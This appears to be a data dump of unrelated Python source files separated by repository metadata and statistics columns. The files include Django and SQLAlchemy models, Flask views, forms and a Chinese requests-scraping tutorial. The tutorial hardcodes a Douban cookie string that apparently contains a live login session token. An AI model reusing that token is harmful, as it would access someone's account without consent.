class CvEntryType(models.Model):
id = models.BigIntegerField(primary_key=True)
description = models.CharField(max_length=20, blank=True, null=True)
class Meta:
managed = False
db_table = 'cv_entry_type'
class CvUeLabel(models.Model):
id = models.BigIntegerField(primary_key=True)
description = models.CharField(max_length=40)
class Meta:
managed = False
db_table = 'cv_ue_label'
class CvUeStatus(models.Model):
id = models.BigIntegerField(primary_key=True)
description = models.CharField(max_length=20)
class Meta:
managed = False
db_table = 'cv_ue_status'
def __str__(self):
return self.description
# schema supporing editing comments/status for mapped entries
class UeMappingComment(models.Model):
id = models.BigAutoField(primary_key=True)
time_stamp = models.DateTimeField()
user_stamp = models.ForeignKey(
settings.AUTH_USER_MODEL,
on_delete=models.CASCADE,
db_column='user_stamp'
)
comment = models.TextField()
mapping = models.ForeignKey(
'Mapping',
models.DO_NOTHING,
related_name='comments',
blank=True,
null=True
)
deleted = models.BooleanField()
class Meta:
managed = False
db_table = 'ue_mapping_comment'
class UeMappingLabel(models.Model):
id = models.BigAutoField(primary_key=True)
time_stamp = models.DateTimeField()
user_stamp = models.ForeignKey(
settings.AUTH_USER_MODEL,
on_delete=models.CASCADE,
db_column='user_stamp'
)
label = models.ForeignKey(
'CvUeLabel',
models.DO_NOTHING,
db_column='label'
)
mapping = models.ForeignKey(
'Mapping',
models.DO_NOTHING,
related_name='labels',
blank=True,
null=True
)
class Meta:
managed = False
db_table = 'ue_mapping_label'
class UeMappingStatus(models.Model):
id = models.BigAutoField(primary_key=True)
time_stamp = models.DateTimeField()
user_stamp = models.ForeignKey(
settings.AUTH_USER_MODEL,
null=True,
on_delete=models.CASCADE,
db_column='user_stamp'
)
status = models.ForeignKey(
'CvUeStatus',
db_column='status',
to_field='id',
on_delete=models.CASCADE
)
mapping = models.ForeignKey(
'Mapping',
related_name='status_history',
on_delete=models.CASCADE
)
class Meta:
managed = False
db_table = 'ue_mapping_status'
# and the same for unmapped entries
class UeUnmappedEntryComment(models.Model):
id = models.BigAutoField(primary_key=True)
time_stamp = models.DateTimeField()
user_stamp = models.ForeignKey(
settings.AUTH_USER_MODEL,
on_delete=models.CASCADE,
db_column='user_stamp'
)
comment = models.TextField()
uniprot = models.ForeignKey(
'UniprotEntry',
models.DO_NOTHING,
related_name='comments',
blank=True,
null=True
)
deleted = models.BooleanField()
class Meta:
managed = False
db_table = 'ue_unmapped_entry_comment'
class UeUnmappedEntryLabel(models.Model):
id = models.BigAutoField(primary_key=True)
time_stamp = models.DateTimeField()
user_stamp = models.ForeignKey(
settings.AUTH_USER_MODEL,
on_delete=models.CASCADE,
db_column='user_stamp'
)
label = models.ForeignKey(
'CvUeLabel',
models.DO_NOTHING,
db_column='label'
)
uniprot = models.ForeignKey(
'UniprotEntry',
models.DO_NOTHING,
related_name='labels',
blank=True,
null=True
)
class Meta:
managed = False
db_table = 'ue_unmapped_entry_label'
class UeUnmappedEntryStatus(models.Model):
id = models.BigAutoField(primary_key=True)
time_stamp = models.DateTimeField()
user_stamp = models.ForeignKey(
settings.AUTH_USER_MODEL,
null=True,
on_delete=models.CASCADE,
db_column='user_stamp'
)
status = models.ForeignKey(
'CvUeStatus',
db_column='status',
to_field='id',
on_delete=models.CASCADE
)
uniprot = models.ForeignKey(
'UniprotEntry',
related_name='status_history',
on_delete=models.CASCADE
)
class Meta:
managed = False
db_table = 'ue_unmapped_entry_status'
| 23.79638
| 76
| 0.652405
| 590
| 5,259
| 5.625424
| 0.242373
| 0.077132
| 0.042181
| 0.063272
| 0.706237
| 0.706237
| 0.706237
| 0.705634
| 0.680024
| 0.629105
| 0
| 0.002576
| 0.261837
| 5,259
| 220
| 77
| 23.904545
| 0.852396
| 0.143944
| 0
| 0.733766
| 0
| 0
| 0.088137
| 0.016025
| 0
| 0
| 0
| 0
| 0
| 1
| 0.006494
| false
| 0
| 0.012987
| 0.006494
| 0.38961
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
b4435ea5968dd8d970410935a14f93799131f825
| 59
|
py
|
Python
|
src/main_program.py
|
bipinKrishnan/unit_testing
|
37731d34e89024dbd2787c9f283328563eb71475
|
[
"MIT"
] | null | null | null |
src/main_program.py
|
bipinKrishnan/unit_testing
|
37731d34e89024dbd2787c9f283328563eb71475
|
[
"MIT"
] | null | null | null |
src/main_program.py
|
bipinKrishnan/unit_testing
|
37731d34e89024dbd2787c9f283328563eb71475
|
[
"MIT"
] | null | null | null |
def add(x, y):
return x+y
def product(z, y):
return z*y
| 9.833333
| 18
| 0.610169
| 14
| 59
| 2.571429
| 0.5
| 0.111111
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.220339
| 59
| 5
| 19
| 11.8
| 0.782609
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| false
| 0
| 0
| 0.5
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 5
|
b452b5dc182bb821923eb782870260bc07647299
| 214
|
py
|
Python
|
oscardropship/custom_oscar/catalogue/models.py
|
hanztura/oscardropship
|
26a5e76d633494f40458c0ca770279658032e192
|
[
"MIT"
] | 2
|
2020-08-24T21:20:32.000Z
|
2021-02-08T04:47:54.000Z
|
oscardropship/custom_oscar/catalogue/models.py
|
hanztura/oscardropship
|
26a5e76d633494f40458c0ca770279658032e192
|
[
"MIT"
] | null | null | null |
oscardropship/custom_oscar/catalogue/models.py
|
hanztura/oscardropship
|
26a5e76d633494f40458c0ca770279658032e192
|
[
"MIT"
] | null | null | null |
from .abstract_models import AbstractCategory, AbstractProduct
class Category(AbstractCategory):
pass
class Product(AbstractProduct):
pass
from oscar.apps.catalogue.models import * # noqa isort:skip
| 16.461538
| 62
| 0.780374
| 23
| 214
| 7.217391
| 0.695652
| 0.144578
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.154206
| 214
| 12
| 63
| 17.833333
| 0.917127
| 0.070093
| 0
| 0.333333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.333333
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 5
|
b466ba4001dc39ec4b40e4776f279f576f3a6607
| 2,877
|
py
|
Python
|
spider/study/request_study.py
|
dhb15735104415/python-DA-notes
|
cbbfcf49e9799e7dfb850067bb51ce28a0dbedc0
|
[
"MIT"
] | null | null | null |
spider/study/request_study.py
|
dhb15735104415/python-DA-notes
|
cbbfcf49e9799e7dfb850067bb51ce28a0dbedc0
|
[
"MIT"
] | null | null | null |
spider/study/request_study.py
|
dhb15735104415/python-DA-notes
|
cbbfcf49e9799e7dfb850067bb51ce28a0dbedc0
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2019/11/22 19:36
# @Author : duanhaobin
# @File : except_handing_study.py
# @Software: PyCharm
# @desc: request study
import requests
u1 = 'https://read.douban.com/column/32512170/'
'''
一、基础
'''
r = requests.get(url=u1)
print(r) # <Response [418]>
print(type(r)) # <class 'requests.models.Response'>
# r.status_code 响应状态码
print(r.status_code) # 418
# r.headers 响应头
print(r.headers)
print(type(r.headers)) # <class 'requests.structures.CaseInsensitiveDict'>
# r.text 网页内容(源代码) print(r.text) 会格式化输出源代码
# r.encoding 网页编码
print(r.encoding)
# r.apparent_encoding 真实编码
print(r.apparent_encoding)
# 解决乱码问题(编码问题导致)
r.encoding = r.apparent_encoding
print('........................分割线...............................')
'''
二、设置登陆信息 cookie
'''
# 1、登陆网页
# 2、F12->Network->Doc->Headers->Requests Headers 刷新页面,选一个
# 3、将header中的“User-Agent”内容设置成字典
h = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36'
dic_h = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36'}
# 4、将header中的“cookies”内容设置成字典
cookies = 'viewed="33440205"; bid=FkeG50F4XvY; gr_user_id=6015c5ac-82f6-4b50-bb85-3c5575d26897; gr_cs1_e310e4ac-fb0e-439f-a4b3-591776f557fd=user_id%3A0; ap_v=0,6.0; _pk_ses.100001.3ac3=*; __utmc=30149280; __utma=30149280.625182603.1574410772.1574410772.1574410772.1; __utmz=30149280.1574410772.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt_douban=1; __utma=81379588.1008532201.1574410772.1574410772.1574410772.1; __utmz=81379588.1574410772.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=81379588; __utmt=1; _vwo_uuid_v2=DF10E7B10E49A5D9F60728C833D04996C|bbcdcfe17d39131c077d26d2ed9db281; dbcl2="169993529:e2JKdBZQZgI"; ck=jwLe; gr_session_id_22c937bbd8ebd703f2d8e9445f7dfd03=6d222c61-3adb-4db7-88d5-85ab1176dec9; gr_cs1_6d222c61-3adb-4db7-88d5-85ab1176dec9=user_id%3A1; gr_session_id_22c937bbd8ebd703f2d8e9445f7dfd03_6d222c61-3adb-4db7-88d5-85ab1176dec9=true; __gads=Test; push_noty_num=0; push_doumail_num=0; __utmt=1; __utmv=30149280.16999; ll="108288"; __yadk_uid=xoYMePLedf9yf3sEbLPkosdMuq2B4fvU; _pk_id.100001.3ac3=06e6cfa033259840.1574410772.1.1574410862.1574410772.; __utmb=30149280.10.9.1574410857781; __utmb=81379588.4.10.1574410772'
cooklst = cookies.split('; ')
print(cooklst)
dic_c = {}
for i in cooklst:
dic_c[i.split('=')[0]] = i.split('=')[1]
print(dic_c)
# 5、request.get()访问中,加载User-Agent和cookies信息
u2 = 'https://book.douban.com/subject/33380549/?icn=index-latestbook-subject'
r2 = requests.get(url=u2, headers=dic_h, cookies=dic_c)
print(r2) # <Response [200]>
print(r2.status_code) # 200 登陆成功
'''
三、一些注意点
1.一般情况,一个机构/平台的网页,用一个headers登录信息足够
2.对于复杂的网页,【分页网页】使用一个headers信息,【数据信息网页】使用一个headers信息
'''
| 41.695652
| 1,165
| 0.738617
| 408
| 2,877
| 5.034314
| 0.502451
| 0.017527
| 0.02483
| 0.029211
| 0.276534
| 0.201558
| 0.201558
| 0.201558
| 0.201558
| 0.083739
| 0
| 0.231531
| 0.087244
| 2,877
| 68
| 1,166
| 42.308824
| 0.550647
| 0.208898
| 0
| 0
| 0
| 0.12
| 0.747017
| 0.479236
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.04
| 0
| 0.04
| 0.48
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 5
|
b46fbe3a403039bc8072d3a03ec1c8179accdd1d
| 325
|
py
|
Python
|
pybotters/typedefs.py
|
supermomonga/pybotters
|
8b6759844deeb1f116b317609c558e13bd35825f
|
[
"MIT"
] | null | null | null |
pybotters/typedefs.py
|
supermomonga/pybotters
|
8b6759844deeb1f116b317609c558e13bd35825f
|
[
"MIT"
] | null | null | null |
pybotters/typedefs.py
|
supermomonga/pybotters
|
8b6759844deeb1f116b317609c558e13bd35825f
|
[
"MIT"
] | null | null | null |
from typing import Any, Callable, Coroutine, Dict, Optional
from aiohttp.client_ws import ClientWebSocketResponse
WsStrHandler = Callable[[str, ClientWebSocketResponse], Optional[Coroutine[Any, Any, None]]]
WsJsonHandler = Callable[[Any, ClientWebSocketResponse], Optional[Coroutine[Any, Any, None]]]
Item = Dict[str, Any]
| 40.625
| 93
| 0.793846
| 36
| 325
| 7.138889
| 0.472222
| 0.241245
| 0.311284
| 0.33463
| 0.389105
| 0.389105
| 0
| 0
| 0
| 0
| 0
| 0
| 0.098462
| 325
| 7
| 94
| 46.428571
| 0.877133
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.4
| 0
| 0.4
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
c338da0df6d6389f2a5277d139bf9fdbba6c3848
| 29
|
py
|
Python
|
Python Script.py
|
Dogcatfee/Assorted_Templates
|
f736e230d969f4b60e72ebe7a0a5c10277e0978e
|
[
"MIT"
] | null | null | null |
Python Script.py
|
Dogcatfee/Assorted_Templates
|
f736e230d969f4b60e72ebe7a0a5c10277e0978e
|
[
"MIT"
] | null | null | null |
Python Script.py
|
Dogcatfee/Assorted_Templates
|
f736e230d969f4b60e72ebe7a0a5c10277e0978e
|
[
"MIT"
] | null | null | null |
#!/bin/python
print('test')
| 7.25
| 13
| 0.62069
| 4
| 29
| 4.5
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.103448
| 29
| 3
| 14
| 9.666667
| 0.692308
| 0.413793
| 0
| 0
| 0
| 0
| 0.25
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 5
|
c3515ba80a63399d710643da409cd7a34db4a156
| 331
|
py
|
Python
|
zeeguu_web/account/static_pages.py
|
alinbalutoiu/Zeeguu-Web
|
95de3f7b5fb926f36d4c2b7669afd1e76419fb44
|
[
"MIT"
] | 1
|
2015-03-17T10:20:50.000Z
|
2015-03-17T10:20:50.000Z
|
zeeguu_web/account/static_pages.py
|
alinbalutoiu/Zeeguu-Web
|
95de3f7b5fb926f36d4c2b7669afd1e76419fb44
|
[
"MIT"
] | 18
|
2018-01-17T18:12:27.000Z
|
2019-02-16T16:43:01.000Z
|
zeeguu_web/account/static_pages.py
|
alinbalutoiu/Zeeguu-Web
|
95de3f7b5fb926f36d4c2b7669afd1e76419fb44
|
[
"MIT"
] | 8
|
2015-02-22T15:26:06.000Z
|
2017-03-28T14:05:59.000Z
|
import flask
from flask import redirect
from . import account
@account.route("/install")
def install():
return flask.render_template("static_pages/install.html")
@account.route("/chrome")
def chrome():
return redirect("https://chrome.google.com/webstore/detail/zeeguu/ckncjmaednfephhbpeookmknhmjjodcd?hl=en", code=302)
| 23.642857
| 120
| 0.76435
| 41
| 331
| 6.121951
| 0.634146
| 0.095618
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.010067
| 0.099698
| 331
| 13
| 121
| 25.461538
| 0.832215
| 0
| 0
| 0
| 0
| 0
| 0.383686
| 0.075529
| 0
| 0
| 0
| 0
| 0
| 1
| 0.222222
| true
| 0
| 0.333333
| 0.222222
| 0.777778
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 1
| 1
| 0
|
0
| 5
|
5eec5b28d092245ff261fbf39cb9170eca9acb77
| 2,612
|
py
|
Python
|
src/blog/forms.py
|
cbsBiram/xarala__ssr
|
863e1362c786daa752b942b796f7a015211d2f1b
|
[
"FSFAP"
] | null | null | null |
src/blog/forms.py
|
cbsBiram/xarala__ssr
|
863e1362c786daa752b942b796f7a015211d2f1b
|
[
"FSFAP"
] | null | null | null |
src/blog/forms.py
|
cbsBiram/xarala__ssr
|
863e1362c786daa752b942b796f7a015211d2f1b
|
[
"FSFAP"
] | null | null | null |
from django import forms
from django_summernote.widgets import SummernoteWidget
from .models import Post, Tag
class CreatePostForm(forms.ModelForm):
title = forms.CharField(
max_length=254,
label="Titre de l'article",
required=True,
error_messages={"required": "Le titre doit être renseigné."},
widget=forms.TextInput(
{
"placeholder": "Titre",
"class": "prompt srch_explore",
}
),
)
content = forms.CharField(
label="Contenu",
required=True,
error_messages={"required": "Le contenu doit être rempli."},
widget=SummernoteWidget(
attrs={"summernote": {"width": "100%", "height": "400px"}}
),
)
description = forms.CharField(
label="Description",
widget=forms.TextInput(
{
"placeholder": "Petit résumé",
"class": "prompt srch_explore",
}
),
)
tags = forms.ModelChoiceField(
queryset=Tag.objects.all(),
label="Tags",
required=True,
widget=forms.Select(
attrs={"class": "ui hj145 dropdown cntry152 prompt srch_explore"}
),
)
thumbnail = forms.FileField(
label="Thumbnail",
widget=forms.FileInput(
{
"class": "prompt srch_explore",
"accept": "image/*",
}
),
)
class Meta:
model = Post
fields = ("title", "content", "thumbnail", "description", "tags")
class UpdatePostForm(forms.ModelForm):
title = forms.CharField(
max_length=254,
label="Titre de l'article",
widget=forms.TextInput(
{
"placeholder": "Titre",
"class": "prompt srch_explore",
}
),
)
content = forms.CharField(
label="Contenu",
widget=SummernoteWidget(
attrs={"summernote": {"width": "100%", "height": "400px"}}
),
)
description = forms.CharField(
label="Description",
widget=forms.TextInput(
{
"placeholder": "Petit résumé",
"class": "prompt srch_explore",
}
),
)
thumbnail = forms.FileField(
label="Thumbnail",
widget=forms.FileInput(
{
"class": "prompt srch_explore",
"accept": "image/*",
}
),
)
class Meta:
model = Post
fields = ("title", "content", "thumbnail", "description")
| 26.383838
| 77
| 0.50536
| 209
| 2,612
| 6.258373
| 0.320574
| 0.058869
| 0.090979
| 0.100917
| 0.774465
| 0.774465
| 0.720948
| 0.720948
| 0.720948
| 0.720948
| 0
| 0.014502
| 0.366386
| 2,612
| 98
| 78
| 26.653061
| 0.775831
| 0
| 0
| 0.615385
| 0
| 0
| 0.227412
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.032967
| 0
| 0.175824
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
6f0e6a437a28085d02f1beb37924e79e1c59e2f7
| 104
|
py
|
Python
|
python/mzcloud/__init__.py
|
benesch/cloud-sdks
|
21e69b8eacc74d64131fc4d5d543ff0d889c87e4
|
[
"Apache-2.0"
] | null | null | null |
python/mzcloud/__init__.py
|
benesch/cloud-sdks
|
21e69b8eacc74d64131fc4d5d543ff0d889c87e4
|
[
"Apache-2.0"
] | null | null | null |
python/mzcloud/__init__.py
|
benesch/cloud-sdks
|
21e69b8eacc74d64131fc4d5d543ff0d889c87e4
|
[
"Apache-2.0"
] | null | null | null |
""" A client library for accessing Materialize Cloud """
from .client import AuthenticatedClient, Client
| 52
| 56
| 0.798077
| 12
| 104
| 6.916667
| 0.833333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.125
| 104
| 2
| 57
| 52
| 0.912088
| 0.461538
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
6f17da0e1373a65cf2247edd275ebd5b25f1bea1
| 113
|
py
|
Python
|
django/proyectoChido/appxdd/views.py
|
Nilson-CodeFlex/snproject
|
94ed9e9b148a48f4469fcd2e38c64ecaf743595c
|
[
"MIT"
] | null | null | null |
django/proyectoChido/appxdd/views.py
|
Nilson-CodeFlex/snproject
|
94ed9e9b148a48f4469fcd2e38c64ecaf743595c
|
[
"MIT"
] | 4
|
2021-02-02T19:49:52.000Z
|
2022-02-27T06:57:01.000Z
|
django/proyectoChido/appxdd/views.py
|
Nilson-CodeFlex/snproject
|
94ed9e9b148a48f4469fcd2e38c64ecaf743595c
|
[
"MIT"
] | null | null | null |
from django.http import HttpResponse
def index(request):
return HttpResponse("Wena la rata jsjsjsjsjsjssj")
| 22.6
| 54
| 0.787611
| 14
| 113
| 6.357143
| 0.928571
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.141593
| 113
| 5
| 54
| 22.6
| 0.917526
| 0
| 0
| 0
| 0
| 0
| 0.236842
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0.333333
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 0
| 0
|
0
| 5
|
6f2d7a1a23f122b1a4ec36d52e5d32aa608dcd5f
| 210
|
py
|
Python
|
studentapp/models/user.py
|
vlampietti/studentapp-master
|
f3ecfb87fcde3ec65a77b1c320b09406df3f03e3
|
[
"MIT"
] | null | null | null |
studentapp/models/user.py
|
vlampietti/studentapp-master
|
f3ecfb87fcde3ec65a77b1c320b09406df3f03e3
|
[
"MIT"
] | 2
|
2021-02-08T20:19:17.000Z
|
2021-04-30T20:32:52.000Z
|
studentapp/models/user.py
|
vlampietti/studentapp-master
|
f3ecfb87fcde3ec65a77b1c320b09406df3f03e3
|
[
"MIT"
] | null | null | null |
from studentapp.models import db
from datetime import datetime
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
email = db.Column(db.String(255))
name = db.Column(db.String(255))
| 26.25
| 48
| 0.719048
| 33
| 210
| 4.545455
| 0.575758
| 0.16
| 0.2
| 0.213333
| 0.253333
| 0
| 0
| 0
| 0
| 0
| 0
| 0.033898
| 0.157143
| 210
| 7
| 49
| 30
| 0.813559
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
6f3f371167a2271ad202bc33bce2debc47fa06bb
| 187
|
py
|
Python
|
channelshowdown/userprofile/admin.py
|
channelfix/cshowdown-backend
|
4225ad4f2bd56112f627e6fe1f26c281484d804e
|
[
"MIT"
] | null | null | null |
channelshowdown/userprofile/admin.py
|
channelfix/cshowdown-backend
|
4225ad4f2bd56112f627e6fe1f26c281484d804e
|
[
"MIT"
] | 6
|
2018-02-19T02:41:20.000Z
|
2022-03-11T23:19:40.000Z
|
channelshowdown/userprofile/admin.py
|
emilarran/channelshowdown_final
|
0bcc8766af66719934bf744d0be2a90e96359761
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.contrib import admin
from .models import UserInfo
# Register your models here.
admin.site.register(UserInfo)
| 20.777778
| 39
| 0.775401
| 25
| 187
| 5.6
| 0.68
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.006173
| 0.13369
| 187
| 8
| 40
| 23.375
| 0.858025
| 0.256684
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.75
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
6f4c1ed20f0a9db145b04855fe6ef3c468132d75
| 127
|
py
|
Python
|
app/users/__init__.py
|
vladstorm98/TaskBoard
|
ebe4244cc5cbdfda2fdaac84c0158692f440517c
|
[
"MIT"
] | null | null | null |
app/users/__init__.py
|
vladstorm98/TaskBoard
|
ebe4244cc5cbdfda2fdaac84c0158692f440517c
|
[
"MIT"
] | null | null | null |
app/users/__init__.py
|
vladstorm98/TaskBoard
|
ebe4244cc5cbdfda2fdaac84c0158692f440517c
|
[
"MIT"
] | null | null | null |
from flask import Blueprint
bp = Blueprint('users', __name__, template_folder='templates')
from app.users import routes
| 21.166667
| 63
| 0.755906
| 16
| 127
| 5.6875
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.15748
| 127
| 5
| 64
| 25.4
| 0.850467
| 0
| 0
| 0
| 0
| 0
| 0.114754
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.666667
| 0
| 0.666667
| 0.666667
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 1
|
0
| 5
|
48a573c3e537d20e709f61c64731be0cb9c148c1
| 227
|
py
|
Python
|
evobench/dsm.py
|
piotr-rarus/evobench
|
e3221e03b6cfac597b4cf2c3f725a266eaf7b083
|
[
"MIT"
] | 6
|
2020-05-07T16:54:35.000Z
|
2021-06-26T16:56:46.000Z
|
evobench/dsm.py
|
piotr-rarus/evobench
|
e3221e03b6cfac597b4cf2c3f725a266eaf7b083
|
[
"MIT"
] | 3
|
2021-08-23T20:59:19.000Z
|
2022-01-21T20:25:11.000Z
|
evobench/dsm.py
|
piotr-rarus/evobench
|
e3221e03b6cfac597b4cf2c3f725a266eaf7b083
|
[
"MIT"
] | null | null | null |
from abc import ABC, abstractproperty
from evobench.linkage.dsm import DependencyStructureMatrix
class DependencyStructureMatrixMixin(ABC):
@abstractproperty
def dsm(self) -> DependencyStructureMatrix:
pass
| 20.636364
| 58
| 0.784141
| 20
| 227
| 8.9
| 0.65
| 0.213483
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.162996
| 227
| 10
| 59
| 22.7
| 0.936842
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.166667
| false
| 0.166667
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
|
0
| 5
|
48b18a04e22e3a7001f022feb4dce4bb9c66c314
| 99
|
py
|
Python
|
src/test/data/pa2/AdditionalTestCases_pa2/error_invalided_identifier.py
|
Leo-Enrique-Wu/chocopy_compiler_semantic_analysis
|
e89f6434dd7d274d4838457316143f312226495f
|
[
"BSD-2-Clause"
] | null | null | null |
src/test/data/pa2/AdditionalTestCases_pa2/error_invalided_identifier.py
|
Leo-Enrique-Wu/chocopy_compiler_semantic_analysis
|
e89f6434dd7d274d4838457316143f312226495f
|
[
"BSD-2-Clause"
] | null | null | null |
src/test/data/pa2/AdditionalTestCases_pa2/error_invalided_identifier.py
|
Leo-Enrique-Wu/chocopy_compiler_semantic_analysis
|
e89f6434dd7d274d4838457316143f312226495f
|
[
"BSD-2-Clause"
] | null | null | null |
class A(object):
x:int = 1
def foo():
print(1)
print(A)
print(foo()) #ok
print(foo) #error
| 12.375
| 17
| 0.585859
| 18
| 99
| 3.222222
| 0.611111
| 0.275862
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.025641
| 0.212121
| 99
| 8
| 17
| 12.375
| 0.717949
| 0.070707
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.142857
| true
| 0
| 0
| 0
| 0.428571
| 0.571429
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
